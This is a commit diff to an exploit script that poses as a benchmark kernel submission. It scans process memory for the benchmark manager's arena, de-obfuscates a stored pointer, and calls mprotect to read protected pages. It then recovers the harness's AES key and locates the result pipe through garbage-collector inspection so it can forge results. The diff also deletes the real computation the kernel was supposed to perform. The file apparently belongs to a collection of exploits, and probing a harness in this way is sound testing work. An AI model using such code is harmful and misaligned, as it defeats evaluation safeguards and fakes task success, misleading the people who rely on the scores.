restore aes_key_recovery to master version

Author: Emre-Dinc

exploits/submission_aes_key_recovery.py

@@ -2,28 +2,43 @@
 EXPLOIT: AES Key Recovery via ObfuscatedHexDigest Arena Scan
 =============================================================
 
-The BenchmarkManager arena is exactly 128MiB. During warmup it is set to
-PROT_NONE via PROTECT_RANGE, which causes the kernel to split it from any
-adjacent mappings — it appears as an isolated ---p entry in /proc/self/maps.
+Scans the BenchmarkManager arena for the
+ObfuscatedHexDigest struct. Page pointer is stored as slow_hash(ptr), offset
+and length as slow_hash(offset) and slow_hash(size ^ offset). Discriminator:
+slow_unhash(w0) must be page-aligned and canonical user-space (~1/4096 FP rate).
 
-All reads go through /proc/self/mem which bypasses PROT_NONE entirely
-(FOLL_FORCE skips VMA permission checks. We scan the first 512KB for the
-ObfuscatedHexDigest struct, recover the AES key, and forge the result pipe.
+Once the candidate page is found, mprotect(PROT_READ) is called before reading
+to handle lock() if active. Page is validated as all-hex before extracting the key.
 
-Result pipe identified via gc — multiprocessing Connection with 1MB capacity.
+Result pipe is found via gc — multiprocessing Connection objects are alive in
+the subprocess. The result pipe has 1MB capacity (F_SETPIPE_SZ); the traceback
+pipe does not.
 """
 
 import ctypes
 import fcntl
 import gc
 import os
+import stat
 import struct
+import sys
 import tempfile
 import subprocess
 
-_PAGE_SIZE    = 4096
+_libc = ctypes.CDLL('libc.so.6', use_errno=True)
+_libc.mprotect.restype  = ctypes.c_int
+_libc.mprotect.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int]
+
+_PROT_NONE  = 0
+_PROT_READ  = 1
+_PAGE_SIZE  = 4096
+#_ARENA_SIZE = 128 * 1024 * 1024
+# ARENA may be split into smaller mappings due to different protection settings for different parts
 _F_GETPIPE_SZ = 1025
 
+def _mprotect(addr, prot):
+    return _libc.mprotect(ctypes.c_void_p(addr), ctypes.c_size_t(_PAGE_SIZE), ctypes.c_int(prot)) == 0
+
 _HASH_C = r"""
 #include <stdint.h>
 uint64_t slow_unhash(uint64_t p, int rounds) {
@@ -57,17 +72,8 @@ def slow_unhash(val: int, rounds: int = 100_000) -> int:
 _HEX_CHARS = frozenset(b'0123456789abcdef')
 
 
-def _read_mem(addr: int, size: int) -> bytes | None:
-    try:
-        with open('/proc/self/mem', 'rb') as f:
-            f.seek(addr)
-            return f.read(size)
-    except OSError:
-        return None
-
-
-def _find_arena_candidate():
-    regions = []
+def _find_arena_candidates() -> list[tuple]:
+    candidates = []
     with open('/proc/self/maps') as f:
         for line in f:
             parts = line.split()
@@ -76,20 +82,19 @@ def _find_arena_candidate():
             start, end = (int(x, 16) for x in parts[0].split('-'))
             name  = parts[5] if len(parts) >= 6 else ''
             perms = parts[1]
-            regions.append((start, end, perms, name))
-
-    for s, e, p, n in regions:
-        if n == '' and p == '---p' and (e - s) == 128 * 1024 * 1024:
-            return s, e
-
-    return None, None
+            if perms == 'r--p' and name == '': # and (end - start) >= _ARENA_SIZE:
+                candidates.append((start, end))
+    return candidates
 
 
 def _recover_aes_key(arena_start: int, arena_end: int):
-    SCAN_SIZE = min(512 * 1024, arena_end - arena_start)
+    SCAN_SIZE    = min(512 * 1024, arena_end - arena_start)
+    print(f"[DBG] scanning arena+{arena_start:#x} for ObfuscatedHexDigest; len={SCAN_SIZE}")
+    unhash_calls = 0
 
-    data = _read_mem(arena_start, SCAN_SIZE)
-    if data is None:
+    try:
+        data = ctypes.string_at(arena_start, SCAN_SIZE)
+    except Exception:
         return None, None
 
     n     = SCAN_SIZE // 8
@@ -101,30 +106,37 @@ def _recover_aes_key(arena_start: int, arena_end: int):
             continue
 
         page_ptr = slow_unhash(w0)
+        unhash_calls += 1
+
         if page_ptr == 0 or page_ptr & 0xFFF or page_ptr >= (1 << 47):
             continue
 
         w2 = words[i + 2]
         if w2 == 0:
             continue
         offset = slow_unhash(w2)
+        unhash_calls += 1
+        print(f"[DBG] unhash_calls={unhash_calls} page_ptr={page_ptr:#x} offset={offset}")
         if offset > _PAGE_SIZE - 33:
             continue
 
-        page_data = _read_mem(page_ptr, _PAGE_SIZE)
-        if page_data is None:
+        if not _mprotect(page_ptr, _PROT_READ):
             continue
 
-        if not all(b in _HEX_CHARS for b in page_data):
+        try:
+            page_data = ctypes.string_at(page_ptr, _PAGE_SIZE)
+        except Exception:
             continue
 
-        key_bytes = _read_mem(page_ptr + offset, 32)
-        if key_bytes is None:
+        if not all(b in _HEX_CHARS for b in page_data):
             continue
 
         try:
-            key_str = key_bytes.decode('ascii')
+            key_bytes = ctypes.string_at(page_ptr + offset, 32)
+            key_str   = key_bytes.decode('ascii')
             if all(c in '0123456789abcdef' for c in key_str):
+                print(f"[DBG] key found arena+{i*8:#x} page={page_ptr:#x} "
+                      f"off={offset} unhash_calls={unhash_calls}")
                 return key_bytes, key_str
         except Exception:
             pass
@@ -184,24 +196,22 @@ def _encrypt(key_bytes: bytes, plaintext: str) -> bytes:
 _done = False
 
 def kernel(output, inp):
-    import torch
     global _done
-
-
-    weights = torch.tensor([0.2989, 0.5870, 0.1140],
-                           device=output.device, dtype=output.dtype)
-    torch.sum(inp * weights, dim=-1, out=output)
-
     if _done:
         return
+    _done = True
 
-    arena_start, arena_end = _find_arena_candidate()
-    if arena_start is None:
+    candidates = _find_arena_candidates()
+    if not candidates:
+        _done = False
         return
 
-    _done = True
+    key_raw, key_str = None, None
+    for arena in candidates:
+        key_raw, key_str = _recover_aes_key(*arena)
+        if key_raw is not None:
+            break
 
-    key_raw, key_str = _recover_aes_key(arena_start, arena_end)
     if key_raw is None:
         _done = False
         return